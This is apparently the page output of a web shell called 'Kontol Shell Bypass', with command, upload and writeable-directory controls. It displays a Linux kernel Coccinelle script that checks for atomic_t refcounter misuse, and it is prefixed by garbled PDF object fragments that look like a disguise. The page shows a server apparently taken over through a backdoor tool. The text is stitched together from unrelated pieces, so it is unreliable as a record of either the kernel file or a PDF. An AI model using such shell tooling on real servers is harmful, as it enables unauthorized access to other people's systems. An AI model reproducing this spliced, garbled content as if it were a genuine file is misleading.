%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :
ikan Uploader :
Directory :  /lib/modules/5.4.0-1103-aws/build/scripts/coccinelle/api/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //lib/modules/5.4.0-1103-aws/build/scripts/coccinelle/api/atomic_as_refcounter.cocci
// SPDX-License-Identifier: GPL-2.0-only
// Check if refcount_t type and API should be used
// instead of atomic_t type when dealing with refcounters
//
// Copyright (c) 2016-2017, Elena Reshetova, Intel Corporation
//
// Confidence: Moderate
// URL: http://coccinelle.lip6.fr/
// Options: --include-headers --very-quiet

virtual report

@r1 exists@
identifier a, x;
position p1, p2;
identifier fname =~ ".*free.*";
identifier fname2 =~ ".*destroy.*";
identifier fname3 =~ ".*del.*";
identifier fname4 =~ ".*queue_work.*";
identifier fname5 =~ ".*schedule_work.*";
identifier fname6 =~ ".*call_rcu.*";

@@

(
 atomic_dec_and_test@p1(&(a)->x)
|
 atomic_dec_and_lock@p1(&(a)->x, ...)
|
 atomic_long_dec_and_lock@p1(&(a)->x, ...)
|
 atomic_long_dec_and_test@p1(&(a)->x)
|
 atomic64_dec_and_test@p1(&(a)->x)
|
 local_dec_and_test@p1(&(a)->x)
)
...
(
 fname@p2(a, ...);
|
 fname2@p2(...);
|
 fname3@p2(...);
|
 fname4@p2(...);
|
 fname5@p2(...);
|
 fname6@p2(...);
)


@script:python depends on report@
p1 << r1.p1;
p2 << r1.p2;
@@
msg = "atomic_dec_and_test variation before object free at line %s."
coccilib.report.print_report(p1[0], msg % (p2[0].line))

@r4 exists@
identifier a, x, y;
position p1, p2;
identifier fname =~ ".*free.*";

@@

(
 atomic_dec_and_test@p1(&(a)->x)
|
 atomic_dec_and_lock@p1(&(a)->x, ...)
|
 atomic_long_dec_and_lock@p1(&(a)->x, ...)
|
 atomic_long_dec_and_test@p1(&(a)->x)
|
 atomic64_dec_and_test@p1(&(a)->x)
|
 local_dec_and_test@p1(&(a)->x)
)
...
y=a
...
fname@p2(y, ...);


@script:python depends on report@
p1 << r4.p1;
p2 << r4.p2;
@@
msg = "atomic_dec_and_test variation before object free at line %s."
coccilib.report.print_report(p1[0], msg % (p2[0].line))

@r2 exists@
identifier a, x;
position p1;
@@

(
atomic_add_unless(&(a)->x,-1,1)@p1
|
atomic_long_add_unless(&(a)->x,-1,1)@p1
|
atomic64_add_unless(&(a)->x,-1,1)@p1
)

@script:python depends on report@
p1 << r2.p1;
@@
msg = "atomic_add_unless"
coccilib.report.print_report(p1[0], msg)

@r3 exists@
identifier x;
position p1;
@@

(
x = atomic_add_return@p1(-1, ...);
|
x = atomic_long_add_return@p1(-1, ...);
|
x = atomic64_add_return@p1(-1, ...);
)

@script:python depends on report@
p1 << r3.p1;
@@
msg = "x = atomic_add_return(-1, ...)"
coccilib.report.print_report(p1[0], msg)

Kontol Shell Bypass